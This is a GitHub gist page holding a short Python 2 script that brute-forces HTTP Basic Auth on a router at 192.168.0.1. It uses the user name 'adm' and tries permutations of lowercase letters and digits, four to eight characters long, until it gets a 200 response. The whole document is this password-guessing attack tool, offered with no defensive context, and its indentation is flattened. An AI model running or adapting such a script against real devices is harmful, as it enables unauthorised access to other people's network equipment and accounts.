Skip to content

Instantly share code, notes, and snippets.

@yawara
Created March 16, 2015 00:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yawara/dff2bb20af0d39f43545 to your computer and use it in GitHub Desktop.
Save yawara/dff2bb20af0d39f43545 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
import itertools
import requests
from requests.auth import HTTPBasicAuth
az = [chr(i) for i in range(ord('a'), ord('z')+1)]
AZ = [chr(i) for i in range(ord('Z'), ord('Z')+1)]
nums = [str(i) for i in range(10)]
chars = az + nums
user = 'adm'
for length in range(4,9):
for permutation in itertools.permutations( chars, length ):
password = ''.join(permutation)
print password
r = requests.get('http://192.168.0.1', auth = HTTPBasicAuth(user, password) )
print r.status_code
if r.status_code == 200:
print "bf attack succecessfully terminated!!!"
LOOK_PASSWORD = password
break
print LOOK_PASSWORD
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment